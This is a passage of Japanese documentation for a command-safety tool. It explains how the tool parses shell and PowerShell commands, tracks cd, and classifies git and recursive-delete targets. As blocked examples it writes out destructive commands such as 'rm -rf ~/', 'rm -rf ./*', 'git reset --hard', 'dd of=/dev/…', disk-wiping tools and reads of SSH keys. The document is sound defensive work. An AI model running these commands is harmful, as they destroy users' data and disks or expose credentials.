パーサーは `${…}` を、ブレースの対応を取りながら 1 回の走査で読み取ります。`$(`、`$((`、`<(`、`>(` の本体やバッククォートの本体は、その語の入れ子のプログラムとして扱い、ほかのコマンドと同じように解析します。`${` は入れ子になり、`}` で閉じます。そのため `echo ${x:-$(rm -rf ~/)}` と `echo "${y#<(rm -rf ~/)}"` は、standard でも `rm.recursive-force-root-or-home` でブロックされます。引用符はこの走査を変えません。引用符の問題は、上記の拒否で扱います。入れ子になった展開は 1 つの語なので `echo ${x:-${y}}` は許可され、置換を含まない展開はリテラルのテキストのままです。

ダブルクォートで囲んだ `$((…))` も、引用符なしの形式と同じ算術リーダーを通ります。`echo "$(( $(rm -rf ~/) ))"` は `rm` でブロックされ、64 段を超える入れ子は、テキストとして読む代わりに最大深度の制限に達します。

変数名は `$` が現れた時点で終わり、2 文字の名前になるのは `$$` だけです。そのため、変数の直後に続けて書いた置換も置換として読み取ります。`echo "$x$(rm -rf ~/)"` は以前は許可されていましたが、`rm.recursive-force-root-or-home` でブロックされます。隣接した変数の判定は変わらないため、`$a$b` と `$HOME$PATH` はどちらも 2 つの変数のままです。

入れ子になった置換はそれぞれ独自の引用符の状態を持つため、`echo $(dirname "$(command -v node)")` の内側の `)` が外側のダブルクォートの中にあるとは見なされなくなりました。このコマンドは complete として解析され、strict でも許可されます。以前は partial として解析され、拒否されていました。`NODE_DIR=${NODE_DIR:-$(dirname "$(command -v node)")}` も同じ理由で、standard と strict の両方で許可されます。

<span id="git-rule-engine" />

## Git ルールエンジン

git のアナライザーは、サブコマンドとオプションを取り出して危険なオプションのパターンと照合し、理由と**分類**（`localDiscard` または `sharedState`）を返します。この分類によって、[worktree での緩和](#worktree-relaxation)の可否が決まります。[一時ルートの緩和](#temp-root-relaxation)がこの分類を使うのは、linked worktree の場合だけです。

| 分類 | 意味 | 例 |
| - | - | - |
| **localDiscard** | local working-tree state だけを破棄する。worktree relaxation の候補 | `checkout --`、`checkout <path>`、`restore`、`clean -f`、`reset --hard`（ref なし）、`switch --force`、`rebase --abort`、`merge --abort` |
| **sharedState** | shared、remote、recovery state に影響する。worktree relaxation の対象にはならない | `push --force`、`branch -D`、`stash drop`/`clear`、`worktree remove --force`、`tag -d`、`reflog delete`、`reset --hard <ref>` |

一時ルートの緩和がこの分類を参照するのは、linked worktree の場合だけです。`.git` がディレクトリである一時ルートのリポジトリでは、`git.push-*` を除くすべてのルールが、`sharedState` のものも含めて緩和されます。

オプションの照合は、git の実際の文法に従います。長形式のオプションは前方一致で解釈するため、`--forc`、`--force`、`--force-with-lease` を正しく解決します。短形式のオプションはまとめ書きを展開するため、`-Df` は `-D` と `-f` として読み取ります。値を取るグローバルオプション（`-c`、`-C`、`--git-dir`、`--work-tree`、`--namespace`、`--super-prefix`、`--config-env`）は、サブコマンドを探す際に読み飛ばします。ブロック対象となる git のパターンの全一覧は、[ブロックされるコマンド](/docs/ja/reference/blocked-commands)を参照してください。

<AccordionGroup>
  <Accordion title="Git SSH environment override">
    Git は、ネットワーク操作の際に任意のプログラムを実行するために `GIT_SSH_COMMAND` と `GIT_SSH` を、そのプログラムの呼び出し方を変えるために `GIT_SSH_VARIANT` を受け付けます。ルール `git.ssh-env` は、これらの変数、または `-c` や `GIT_CONFIG_*` による `core.sshCommand` を設定したうえでネットワーク系のサブコマンド（`clone`、`fetch`、`pull`、`push`、`ls-remote`、`submodule`）を実行するコマンドをブロックします。シェルのプロファイルから継承した値は対象外です。[Git の SSH 関連の環境変数による上書き](/docs/ja/reference/blocked-commands#git-ssh-environment-overrides)を参照してください。
  </Accordion>

  <Accordion title="checkout の詳細">
    `checkout` は次の順に確認します。

    1. 強制指定（`--force`／`-f`）
    2. 新規ブランチ作成による除外（`-b`／`-B`／`--orphan` はブロックしません）
    3. `--pathspec-from-file`
    4. `--` を伴う pathspec（`git checkout --` は未コミットの変更を破棄し、`git checkout <ref> -- <path>` は作業ツリーをその ref の内容で上書きします）
    5. 位置引数が複数あって判別しにくい形式（位置引数が 2 個以上ある場合は `switch`／`restore` の使用を提案します）

    `--` がなく位置引数が 1 個だけの場合は、次のいずれかに当てはまるとパスの復元として扱います。パスとして書かれている（`.`、`..`、`./…`、`../…`、`:` で始まる magic pathspec、絶対パス、ドライブレター形式、末尾が `/`）、glob 文字（`*`、`?`、`[`）を含む、解決済みの git の作業ディレクトリに実在するエントリを指している、の 3 つです。ルール ID は `git.checkout-double-dash` のままで、理由は `git checkout <path> discards uncommitted changes permanently. Use 'git stash' first, or 'git switch' to change branches.` です。`main` や `feature/x` のような素のブランチ名は引き続き許可され、`-d`、`--detach`、`-t`、`--track` があればその位置引数は対象外になります。

    この判定では git のサブプロセスを起動せず、ref の解決もしません。これは意図的な設計です。そのため、作業ツリーに同名のエントリがあるブランチ名は拒否され、メッセージは `git switch` を案内します。実在するかどうかの確認には、元のトークンから解決した git の作業ディレクトリを使います。エイリアスが `checkout` に展開される場合でも、先頭の `-C <dir>` はそのまま効きます。
  </Accordion>

  <Accordion title="reset の分類">
    `reset --hard`／`--merge` は、`--` より前に ref がある場合（ブランチのポインターを動かすため）は `sharedState`、それ以外の場合（作業ツリーの変更だけを破棄するため）は `localDiscard` に分類します。
  </Accordion>
</AccordionGroup>

<span id="working-directory-tracking" />

## 作業ディレクトリの追跡

解析エンジンは、1 つのコマンドのセグメントをまたいで実効カレントディレクトリを保持します。`cd` の対象が実在するディレクトリに解決できる場合、その結果が追跡中のカレントディレクトリになります。解決できない場合と、ディレクトリ以外に解決される場合は、カレントディレクトリを不明にします。このとき `rm` の解析は基準になるカレントディレクトリを失うため、`cd notes.txt; rm -rf .git` の `.git` は `notes.txt` の配下ではなく、基準なしで判定します。どちらの場合も元のカレントディレクトリは基準として残るため、後述の分類では両方を使います。

`pushd` と `popd` は、常にカレントディレクトリを不明にします。追跡するのは `cd` だけです。

**追跡できる `cd` の形式。** オプションは最初の非オプションのトークンまで読み取り、読み取ったオプションはすべて `-L`／`-P` の組み合わせでなければなりません。さらに、省略可能な `--` の後ろに残るオペランドは、多くても 1 個である必要があります。したがって `cd -- /tmp/scratch` と `cd -P /tmp/scratch` は追跡でき、オペランドのない裸の `cd` も追跡できます。`cd -`、未知のオプションを伴う `cd -x -- /tmp/scratch`、`cd /tmp/scratch -P`、`cd -P /tmp/scratch -L`、`cd /tmp/scratch extra` は、いずれもカレントディレクトリを不明にします。

**変数のオペランド。** `$VAR` や `${VAR}` のオペランドは、コマンドとともに保持しているリテラルなシェル変数の代入から展開します。ただし、パーサーがその語を変数展開として認識した場合に限ります。`R=/tmp/scratch; cd $R` は追跡できますが、`cd '$R'` と `cd \$R` は、`$` がそのままシェルに渡るため追跡の対象外です。展開結果に `$`、バッククォート、空白、glob 文字（`*`、`?`、`[`）が残る場合や、先頭が `~` または `-` になる場合も、カレントディレクトリを不明にします。代入は、シェルと同じように、収集した時点で展開します。そのため、シングルクォートやエスケープを付けた `$` はリテラルのまま残り、後から展開されることはありません。`A='$B'; B=/tmp/scratch; cd $A` はカレントディレクトリが不明になります。`$HOME` と `${HOME}` だけは例外で、後述の「ホームディレクトリのオペランド」で説明します。

同じ展開は、ほかに 3 つのオペランドにも使います。1 つ目はシェルスクリプトのオペランドで、standard では `S=/tmp/scratch; bash $S/build.sh` をリテラルで書いた場合と同じように解析します。strict と paranoid では動的なシェルの実行元のままです。2 つ目は `cat` や `tee` の heredoc が書き出すファイルで、[heredoc のファイル追跡](#heredoc-analysis)は展開後のパスで本文を記憶します。3 つ目は[一時ルートの緩和](#temp-root-relaxation)が読む語で、`git -C` のパスと `git worktree remove` のオペランドが含まれます。

**ホームディレクトリのオペランド。** ホームディレクトリに解決する形式は 4 つあります。オペランドのない裸の `cd`、引用符なしの `~`、引用符なしの `~/…`、そして `$HOME` または `${HOME}` です。そのため `cd ~ && rm -rf ./*` と `cd; rm -rf *` はホームディレクトリの削除としてブロックされ、`cd ~/myproject && rm -rf node_modules` は `~/myproject` の中から実行した場合に許可されます。コマンド上のリテラルな `HOME=` の代入は、4 つの形式すべてで解析エンジンのホームディレクトリより優先されます。`unset HOME` と空の `HOME=` の場合は、解析エンジンのホームディレクトリにフォールバックします。これは、`HOME` が未設定のときに `~` を passwd エントリーから展開する bash の挙動に合わせたものです。`~user`、`~+`、`~-`、引用符付きの `"~"` は、シェルがどれもホームディレクトリに展開しないため、カレントディレクトリを不明にします。

**CDPATH。** 先頭が `.`、`/`、ドライブレターのいずれでもない裸のオペランドは、次のどちらかに当てはまるとカレントディレクトリを不明にします。どこかのセグメントに `CDPATH=` または `CDPATH+=` の語がある（先頭の `export` の有無は問いません）か、hook の環境に `CDPATH` が設定されているかです。`./sub` と絶対パスのオペランドは、シェルが CDPATH を参照せずに解決するため、引き続き追跡できます。

**本体のスコープ。** `then`、`do`、`case` は本体を開き、`fi`、`done`、`esac` は本体を閉じます。`elif` は、その直前の分岐を閉じます。本体が開いている間の代入は、その本体の中でだけ有効で、最後の本体が閉じた時点で破棄します。そのため、後続の `cd $VAR` はカレントディレクトリを不明にします。本体が開いている間の `unset` は、その本体が実行されるとは限らないため、条件付きとして扱います。そのため `if true; then unset R; fi` は、`R` の束縛を解除するのではなく、`R` を空の値にします。

**`for` ループ。** `for NAME in` のリストがリテラルな 1〜8 語であれば、NAME を束縛した解析状態を語ごとに分岐させ、そのすべてが通過する必要があります。それ以外の `for` の形式は、リストのない `for c` やコマンド置換で組み立てたリストも含め、NAME の束縛を破棄します。

**失敗しない `cd`。** 解析の時点で実在するディレクトリへの `cd` は、成功するものとして扱い、失敗した側の分岐を捨てます。そのため、後ろに続く `||` のフォールバックは解析されず、後続のコマンドはそのディレクトリで動くものとして扱います。`/tmp/scratch` が実在すれば `cd /tmp/scratch || git reset --hard` は許可され、存在しなければブロックされます。ただし、`cd` に付いたリダイレクトが `/dev/null` への素の `<`、`>`、`>>`、`>|` 以外である場合は、そのリダイレクトが `cd` より先に失敗しうるため、失敗した側の分岐を残します。したがって `cd /tmp/scratch 2>/dev/null || git reset --hard` はフォールバックを捨てますが、`cd /tmp/scratch <&/dev/null || git reset --hard` はフォールバックを解析してブロックします。

**複合コマンドの本体内の `cd`。** `then`、`do`、`else`、`case` の本体にある `cd` は実行されるとは限りません。そのため解析エンジンは、その本体から複数のディレクトリを持ち出し、そのすべてが通過する必要があります。`else` と `elif` の分岐は、本体に入った時点のディレクトリから始めます。`fi`、`done`、`esac` では、終了した各分岐の最後のディレクトリから解析を続けます。`else` の分岐によってどれか 1 つの分岐が必ず実行される場合を除き、本体に入った時点のディレクトリからも解析を続けます。ホームディレクトリから実行した `if false; then cd /tmp; fi; rm -rf ./*` はブロックされます。`if c; then cd /tmp; else cd /tmp; fi; rm -rf ./*` は、どちらの分岐も `/tmp` で終わるため許可されます。プロジェクトの中から実行した `if true; then cd ~; else cd /tmp; fi; rm -rf ./*` は、`then` の分岐によってブロックされます。入れ子の本体は、最も外側ではなく自身が入った時点のディレクトリに分岐します。`case` の各分岐を区切る `;;` は、本体の境界にはなりません。

**`!` で否定したコマンド。** `!` は結果を反転させるため、その直後の `cd` がシェルを移動させたとは限りません。解析エンジンは、`cd` の前のディレクトリと後のディレクトリの両方から後続のコマンドを解析し、失敗した側の分岐も捨てずに残します。ホームディレクトリから実行した場合、`! cd /tmp && rm -rf ./*`、`! cd /tmp || rm -rf ./*`、`if ! cd /tmp; then rm -rf ./*; fi`、`while ! cd /tmp; do rm -rf ./*; done` はいずれもブロックされます。

**先行する `mkdir` が作るディレクトリ。** 同じコマンド内の `mkdir` はファイルシステムの状態として扱うため、解析の時点ではまだ存在しないディレクトリでも、そこへの `cd` を追跡できます。`mkdir -p /tmp/scratch/repo && cd /tmp/scratch/repo && rm -rf build` は許可されます。オペランドの末尾要素を記録するのは、オプションが `-p`、`-v`、`--parents`、`--verbose` だけで、かつその `mkdir` が成功しうる場合だけです。`-p` があればディレクトリでない最初の要素が存在しないこと、`-p` がなければ親がディレクトリで末尾要素が存在しないことが条件です。`..` を含むオペランドがある場合、パスとして解決できない語がある場合、実行されるとは限らない `then`／`do`／`case` の本体に `mkdir` がある場合は、何も記録しません。

追跡中のカレントディレクトリは、次の 5 つの判定に使います。

* カレントディレクトリ自体かどうかの判定は、追跡中のカレントディレクトリと元のカレントディレクトリのどちらかに解決される対象に一致します。そのため `cd helpers && rm -rf ..` は、カレントディレクトリ配下の対象ではなく `rm.recursive-force-cwd-self` になります。
* カレントディレクトリ配下かどうかの判定にも使うため、ワークスペース内であれば `cd src && rm -rf build` は許可されます。
* Git メタデータの保護も、この基準で対象を解決します。そのため `checkout` がリポジトリであれば、`cd scratch && rm -rf ../checkout` は `rm.git-metadata` になります。
* 信頼された一時ルート配下に解決される相対パスの対象は、一時ディレクトリの対象になります。これは次の表のステップ 11 です。
* `find` の起点が `.` または `./` の場合、追跡中のカレントディレクトリとして判定します。ただし、実パスで比較してそのディレクトリがワークスペースの外にあるときだけです。そのうえで許可されるのは、そのディレクトリが信頼された一時ルートの配下にあり、一時ルートそのものではなく、ワークスペースを含まない場合です。`cd /tmp/scratch/video && find . -maxdepth 1 -name 'still-*.jpg' -delete` はこの判定で通ります。`cd src && find . -delete` はブロックされたままです。`src` はワークスペースの中にあるので、この判定は適用されません。また、起点の `.` はカレントディレクトリそのものなので、`find.delete` がブロックします。

トレースに `cwd-change` の手順が記録されるのは、カレントディレクトリが不明になった場合だけです。追跡できた `cd` では何も記録されません。[explain トレース](/docs/ja/reference/explain-trace)を参照してください。

<span id="recursive-delete-target-classification" />

## 再帰的削除対象の分類

`rm` の解析では、再帰オプションを検出し、対象を取り出して、カレントディレクトリを基準に分類します。次の順に確認し、**最初に一致した分類を採用**します。この順序そのものに意味があります。

| # | 分類 | 一致するもの | 結果 |
| - | - | - | - |
| 1 | **`$TMPDIR` の安全でない語分割** | 引用符で囲まれていない `$TMPDIR` が複数の語に分割されうる | ブロック（カレントディレクトリの外として扱う） |
| 2 | **未対応の Windows 名前空間** | 分類器が基準を決められない UNC パスとデバイス名前空間のパス | ブロック（カレントディレクトリの外として扱う） |
| 3 | **root／ホームの対象** | `/`、`/*`、`~`、`~/`、`$HOME`、`${HOME}` とその配下（表記そのもの、または正規化後） | 常にブロック（致命的な操作） |
| 4 | **保護対象の Git メタデータ** | 解決済みの `.git` エントリ、そのディレクトリ、hooks ディレクトリ | 常にブロック（致命的な操作） |
| 5 | **一時ディレクトリの対象** | `/tmp`、`/var/tmp`、システムの一時ディレクトリ、`$TMPDIR`（一時ディレクトリ以外に上書きされていない場合） | 許可 |
| 6 | **動的な対象** | 展開結果を予測できない対象 | standard では許可。[strict](/docs/ja/configuration/modes#strict-mode) で fail closed の機能が有効になるとブロック |
| 7 | **設定済みの allow path** | `destructive_command_protection.allow_paths` の配下にある、検証済みのリテラルな対象 | 許可（一時ディレクトリと同じ扱い） |
| 8 | **カレントディレクトリがホーム** | カレントディレクトリがホームディレクトリそのもの（先にプロジェクトのディレクトリへ移動する） | ブロック |
| 9 | **カレントディレクトリ自体** | `.`、`./`、または追跡中のカレントディレクトリか元のカレントディレクトリと同じ inode に解決される対象 | ブロック |
| 10 | **カレントディレクトリ配下** | カレントディレクトリ内に解決されるパス | 許可。[paranoid rm](/docs/ja/configuration/modes#paranoid-rm-check) ではブロック |
| 11 | **追跡できた `cd` の後の一時ディレクトリの対象** | 追跡できた `cd` でカレントディレクトリが移った後、信頼された一時ルート配下に解決される、`..` を含まない相対パス | 許可 |
| 12 | **カレントディレクトリ外** | それ以外（絶対パス、親ディレクトリ、カレントディレクトリ外にある一時ディレクトリ以外のパス） | ブロック |

この順序から、はっきり述べておくべき結果が 2 つあります。

* ステップ 4 がステップ 7 より前にあるため、**リポジトリを含む allow path を設定しても、Git メタデータの保護は緩和されません**。
* ステップ 6 がステップ 7 より前にあるため、**allow path は動的な対象や検証できない対象には適用されません**。

ステップ 11 には、追跡できた `cd` が作り出したカレントディレクトリが必要です。実行されるかどうかは[作業ディレクトリの追跡](#working-directory-tracking)で決まります。追跡中のカレントディレクトリが元のカレントディレクトリを含む場合、このステップは適用されません。そのため、`/tmp` 配下のワークスペースから上のディレクトリへ移動しても、兄弟ディレクトリの削除は拒否されたままです。また、絶対パス、`~` で始まるパス、動的な対象、`..` を含む対象にも適用されません。

allow path は、絶対パスか `~/` で始まるディレクトリである必要があります。**すべて**の安全レベルで、`rm`、`Remove-Item`、`find -delete` に適用されます。シークレット保護、deny path、root、ホームディレクトリ、保護対象の Git メタデータが緩和されることはありません。`$HOME` そのものや `$HOME` を内側に含む上位パスは、検証時と正規化後の両方で拒否します。シンボリックリンクによる境界の抜け道も対象外です。

この分類は、再帰オプション（`-r`、`-R`、`--recursive`）があれば実行します。`-f` の有無は問いません。`-f` のない `rm -r` を拒否する場合も `rm -rf` と同じルール ID と理由を使うため、`rm -r ../outside` は `rm.recursive-force-outside-cwd` としてブロックされます。再帰しない `rm` には Git メタデータのチェックだけを適用します。パスの比較には正規化（realpath）した結果を使います。そのため、`/` を指すシンボリックリンクは危険として正しく分類され、`/tmp-malicious` が `/tmp` の一時ディレクトリのルールに一致することもありません。

Windows では、Git Bash などの MSYS シェルが `/c/Users/...` 形式のパスを渡します。Windows のパス API はこれをカレントドライブ配下のパスとして解釈します。そこで比較の前に、先頭の `/<drive-letter>` の後ろに `/` か文字列の終端が続く場合、その部分を `<drive-letter>:/` へ書き換えます。`/c/Users/you` は `c:/Users/you` として比較されます。書き換わるのは先頭のこの部分だけです。Windows 以外のプラットフォームには影響せず、通常の POSIX パス、UNC パス、Windows 本来のドライブレター表記もそのままです。この書き換えは、`rm` の対象分類、ポリシーファイルと Git メタデータの保護、シークレット保護のいずれよりも前に実行します。環境の取り込み時には `HOME` と `CC_SAFETY_NET_HOME` も書き換えるため、これらのルートとコマンドの引数を同じ表記で比較できます。POSIX の `cd` のオペランドも、[作業ディレクトリの追跡](#working-directory-tracking)で解決する前に同じ書き換えを受けます。そのため `cd /d/project && rm -rf build` は `d:/project` を作業ディレクトリとして追跡し、`build` をその中の対象として判定します。PowerShell の `Set-Location` のオペランドは書き換えません。信頼された一時ルートとの比較も、Windows では大文字小文字を区別しません。小文字の MSYS パスが Windows 本来の一時ディレクトリ配下にあれば、カレントディレクトリ外ではなく一時ディレクトリの対象として分類されます。

<Note>
  日常的な利用で効いてくる違いがあります。`rm -rf ./subdir`（カレントディレクトリの中）は**許可**されますが、`rm -rf .`（カレントディレクトリそのもの）は**ブロック**されます。[許可されるコマンド](/docs/ja/reference/allowed-commands)を参照してください。
</Note>

### PowerShell `Remove-Item`

`Remove-Item` とその別名は、`rm` と同じ対象分類を使います。解析には、PowerShell 固有のクオート、パス区切り、接続演算子、パイプライン、動的な語の出どころを保持する、限定的な PowerShell のサブセットを使います。

* `-WhatIf`、`-WhatIf:$true`、および省略形の `-wi` を指定すると、本来ブロックされる削除が対象外になります。明示的に `-WhatIf:$false` を指定した場合は、再びブロックされます。
* 動的な形式は strict でのみブロックされます。`Remove-Item $target -Recurse -Force`、`Get-ChildItem … | Remove-Item -Force` のパイプライン、値のない `-Path`、スプラッティング（`Remove-Item @params -Recurse -Force`）は、いずれも standard では許可され、strict でブロックされます。例外は `Remove-Item $HOME -Recurse -Force` で、これは動的な対象ではなく root／ホームの対象として分類されるため、**standard でも**ブロックされます。
* 別名と省略されたパラメーターも解決するため、`ri . -r -fo` はブロックされます。呼び出し演算子を使った形式（`& Remove-Item …`、`& { … }`、`. { … }`）も解析対象で、リテラル文字列を渡す `Invoke-Expression` と `$(…)` の部分式も解析します。
* `#` の行コメントと `<# … #>` のブロックコメント（入れ子を含む）は無視しますが、その後ろにある実際のコマンドはブロックします。形式が不正なブロックコメントや部分式、深さの上限を超えたものは fail closed になります。
* PowerShell のワイルドカードは、POSIX の `*` glob とは違ってドットで始まるエントリにも**一致します**。そのため、`Remove-Item .git -Recurse -Force` も、リポジトリルートでの PowerShell のワイルドカードも Git メタデータの保護に該当しますが、POSIX の `./*` は `.git` を含みません。
* どのシェルとして解析するかも重要です。`posix` の方言では、入れ子の `powershell` や `pwsh` の `-Command` スクリプトを除き、意図的に PowerShell の削除ルールを適用しません。一方 `auto` であれば、明示的な `Remove-Item` に加えて `Get-Content`、`Set-Content`、`Add-Content`、`Copy-Item`、`Move-Item` を検出し、`gc` や `cp` のような別名も引数が PowerShell のパス式で書かれていれば検出します（`gc $HOME\.ssh\id_rsa`）。`ForEach-Object` や `Where-Object` の呼び出しでも PowerShell パーサーが選ばれるため、`$records | ForEach-Object { $_.key }` 内のスクリプトブロックは POSIX のテキストではなく PowerShell として解析されます。`ForEach-Object { Get-Content server.key }` のように機密ファイルを読むスクリプトブロックは、引き続きブロックされます。この 2 つのコマンドレットの別名 `%` と `?` は検出しません。どちらの場合も、`git.reset-hard` のようなシェル共通のルールは引き続き有効です。

### デバイスとディスクの破壊

| コマンド | トリガー | ルール ID | intent |
| - | - | - | - |
| `dd` | `of=/dev/…` に一致するオペランド。デバイスパスへの直接書き込み。デバイスからの読み取りだけでは対象にならず、`of=/dev/null`、`of=/dev/zero`、`of=/dev/full` の 3 つの出力先は完全一致で除外する | `dd.device-write` | `manual_only` |
| `mkfs`、`mke2fs`、`newfs` | 先頭が `mkfs`、`mkfs.*` の各形式、`mke2fs`、`newfs`、`newfs_*` の各形式のいずれかであり、`/dev/` から始まるオペランドが 1 つ以上ある | `mkfs.device` | `manual_only` |
| `diskutil` | オプションではない最初のオペランドが消去系またはパーティション系のサブコマンド（`eraseDisk`、`eraseVolume`、`reformat`、`partitionDisk`、`zeroDisk`、`randomDisk`、`secureErase`）。照合は小文字にそろえて行う。`diskutil` は `disk4` のような指定も受け付けるため、`/dev/` のオペランドは不要 | `disk.erase` | `manual_only` |
| `wipefs` | `/dev/` のオペランドと、消去系のオプション（`-a`、`--all`、`-o`、`--offset`、または `a` か `o` を含むまとめた短形式オプション） | `disk.erase` | `manual_only` |
| `sgdisk` | `/dev/` のオペランドと、読み取り専用の集合に含まれないオプションが 1 つ以上。読み取り専用の集合は `-p`／`--print`、`-i`／`--info`、`-v`／`--verify`、`-O`／`--print-mbr`、`-E`／`--end-of-largest`、`-F`／`--first-in-largest`、`-f`／`--first-aligned-in-largest`、`-D`／`--display-alignment`、`-L`／`--list-types`、`-P`／`--pretend`、`-b`／`--backup`、`-V`／`--version`、`-?`／`--help`、`--usage` | `disk.erase` | `manual_only` |
| `parted` | `/dev/` のオペランドと、テーブルを書き換えるサブコマンド（`mklabel`、`mktable`、`mkpart`、`rm`、`resizepart`）。照合は小文字にそろえて行う | `disk.erase` | `manual_only` |
| `shred` | `shred --help` と `shred --version` を含む**すべての**対象 | `shred.target` | `use_alternative` |

`sgdisk` の短形式オプションは文字のまとまりとして読むため、`sgdisk -i1 /dev/sda` と `sgdisk -pv /dev/sda` は許可されたままです。まとまりが読み取り専用と見なされるのは、先頭の文字が値を取る読み取り専用オプションの `i` か `b` である場合、またはすべての文字が読み取り専用のフラグである場合です。先頭の文字がまとまり全体の判定を決めるため、`sgdisk -iZ /dev/sda` は許可され、`sgdisk -Zo /dev/sda` と `sgdisk -pZ /dev/sda` はブロックされます。

出力リダイレクトは、先頭のコマンドに関係なく独自の判定を受けます。`>`、`>|`、`>>`、`<>`、`>&` のいずれかで、出力先がリテラルで書かれたディスクデバイスパスである場合は、intent `manual_only` の `redirect.block-device` としてブロックされます。この判定はパスをディスクデバイスの名前（`/dev/disk4`、`/dev/rdisk4`、`/dev/sda`、`/dev/hda`、`/dev/vda`、`/dev/xvda`、`/dev/nvme0n1`、`/dev/mmcblk0`、`/dev/md0`、`/dev/dm-0`、`/dev/loop0`、`/dev/mapper/…`、`/dev/disk/…`）と照合するため、`/dev/null`、`/dev/tty*`、`/dev/shm`、`/dev/tcp`、`/dev/cu.*` は許可されます。リダイレクトだけのセグメントもこの判定に届くので、シェルが `&` で分割する `echo x &> /dev/sdb` もブロックされ、入れ子の `sh -c` の本体も同じように判定されます。`> $DEV` のようにリテラルではない出力先は追跡しません。トレースにこの判定が記録されるのは一致したときだけなので、それ以外のコマンドの `explain` の出力は変わりません。

`dd`、`mkfs`、`shred` のルールは、解析できないテキストに対するヒューリスティックなスキャンにも含まれます。そのため、`echo ` や `rg ` で始まる場合を除き、解析できないテキストの中にある `dd of=/dev/…`、`mkfs /dev/…`、`shred <arg>` は `raw-text.dangerous-command` としてブロックされます。このスキャンには `disk.erase` のツール用のパターンもデバイスへのリダイレクト用のパターンもなく、`dd` の出力先の除外も適用されません。そのため、解析できないテキストの中の `dd of=/dev/null` は引き続き拒否されます。これらはいずれも致命的な操作のルールではないため、マスタースイッチとルール単位の override の優先順位に従います。

<span id="dynamic-target-analyzers-for-find-xargs-and-parallel" />

## `find`、`xargs`、`parallel` の動的対象解析

| コマンド | ブロックする操作 |
| - | - |
| `find ... -delete` | `-delete` による完全な削除（事前確認には `-print` を使う）。ただし、起点がすべてカレントディレクトリ内にあり、paranoid `rm` が無効なら許可する |
| `find -exec rm -rf ...` | `-exec` のコマンドを入れ子のセグメントとして解析し直すため、破壊的な実行をブロックできる |
| `xargs rm -rf` | パイプで渡される動的な入力に対して動く rm。対象を予測できない |
| `xargs <shell> -c` | 動的な入力からシェルを実行する |
| `parallel rm -rf` | parallel のプレースホルダーや標準入力に対して動く rm |
| `parallel <shell> -c` | 動的な入力からシェルを実行する |

**ワークスペース内での `find -delete`。** 各起点は、シンボリックリンクを解決したうえで[再帰的削除対象の分類](#recursive-delete-target-classification)にかけます。すべての起点がカレントディレクトリ配下に分類されれば削除を許可するため、`find build -type f -delete` は通ります。起点が `.` の場合、一時ディレクトリ以外でカレントディレクトリの外にある場合、カレントディレクトリがホームディレクトリの場合、`-L`、`-f`、`-follow` のいずれかを指定した場合は、引き続き `find.delete` でブロックします。追跡できた `cd` でワークスペースの外へ移った後の `.` は、[作業ディレクトリの追跡](#working-directory-tracking)で説明した一時ルートの判定だけで扱います。この許可は実際に有効な `rm.recursive-force-paranoid` ルールに従います。paranoid `rm` が有効な場合や、standard でこのルールを `on` にした場合は、`rm -rf build` がブロックされるのと同じ条件で `find build -delete` もブロックされます。root、ホーム、Git メタデータのチェックは、これらより先に実行します。

`find -exec` と `-execdir` は、`-exec` のコマンドの先頭が `rm` または `rmdir` である場合に加えて、先頭がシェルでその `-c` の本体に `rm` または `rmdir` が語として現れる場合も、見つかったパスの削除として扱います。どちらの場合も、`-exec` の引数のどこかに `{}` があることが条件です。語を照合する前に引用符とバックスラッシュを取り除くため、`sh -c '"rm" -rf "$0"'` も該当します。この照合は意図的に緩くしています。コマンドの先頭だけを見ると `exec rm`、`then rm`、関数本体を取りこぼすためです。そのため `find . -exec sh -c 'echo rm "$0"' {} \;` も該当します。

**`-name` フィルターと Git メタデータ。** リテラルの `-name` または `-iname` のフィルターは、起点だけを理由にした Git メタデータのブロックを解除できます。起点がリポジトリを含む場合、エンジンは保護対象のメタデータのルートを走査し、収集したフィルターすべてに一致する名前のエントリを探します。一致がなければブロックを解除するため、リポジトリの中でも `find . -name '*.pyc' -exec rm {} +` は許可されます。一致があればブロックを維持するため、`find . -name '*.sample' -exec rm {} +` と `find . -name HEAD -exec rm {} +` は引き続き `find.delete-git-metadata` で拒否されます。

この走査は fail closed です。メタデータのルートがシンボリックリンクの場合、ディレクトリを読み取れない場合、走査したエントリが 50,000 件を超えた場合は、ブロックを維持します。

次の形式は、走査するまでもなくブロックを維持します。

* リテラルのフィルターが 1 つもない場合、またはパターンがリテラルの語でないか `[` か `\` を含む場合。`find . -type f -exec rm {} +` と `find . -name "*.$EXT" -exec rm {} +` はどちらも拒否されます。
* アクションより後ろにあるフィルター。`find . -delete -name '*.pyc'` は何も収集しません。
* `-name`、`-iname`、`-delete`、`-exec` 系、`-a`、`-and`、`-depth`、`-maxdepth`、`-mindepth`、`-mmin`、`-mtime`、`-newer`、`-size`、`-type` 以外の `find` の primary が 1 つでもある場合。`!`、`-o`、`(` もここに含まれるため、`find . ! -name '*.pyc' -exec rm {} +` と `find . -name '*.pyc' -o -type f -exec rm {} +` はどちらも拒否されます。
* 再帰する `-exec` のコマンド（`rm -r`）、先頭がシェルの `-exec`、`{}/.git/index` のように `{}` を長い語に埋め込んだ引数、固定のパス引数を伴う `-execdir`／`-okdir`。

解除されるのは起点に対するメタデータのブロックだけです。`find . -name "*.pyc" -delete` は引き続き拒否されますが、ルール ID は `find.delete-git-metadata` ではなく `find.delete` です。

`xargs` と `parallel` では、対象が動的な入力（パイプされた標準入力やプレースホルダーの展開）から来るため、カレントディレクトリを基準に検証できません。`parallel` の SSH リモートモード（`-S`／`--sshlogin`）も、worktree での緩和を無効にします。

`find -exec rm -rf`、`xargs rm -rf`、`parallel rm -rf` を一律にブロックするルールは、`-r` と `-f` の両方を条件とします。`-f` がなくても、エンジンは見える範囲の対象を分類します。そのため `xargs rm -r ../other` と `parallel rm -r ::: ../other` は `rm.recursive-force-outside-cwd` としてブロックされます。一方、リポジトリの外では `find . -exec rm -r {} \;` は許可されます。

standard は、`xargs` から呼ばれるシェルの `-c` の本体に 1 つだけ例外を設けています。置換文字列がコマンド位置に来ることが一度もなく、最悪の入力として `/` を代入しても本体が無害なままであれば、本体に差し込まれる入力をデータの語として扱います。そのため `grep -rl TODO src | xargs -I{} sh -c 'echo "--- {}"; head -3 {}'` は許可されます。一方 `find . -name '*.log' | xargs -I{} sh -c 'rm -rf {}'` は、最悪の場合が `rm -rf /` になるため `xargs.shell-dynamic` で拒否します。

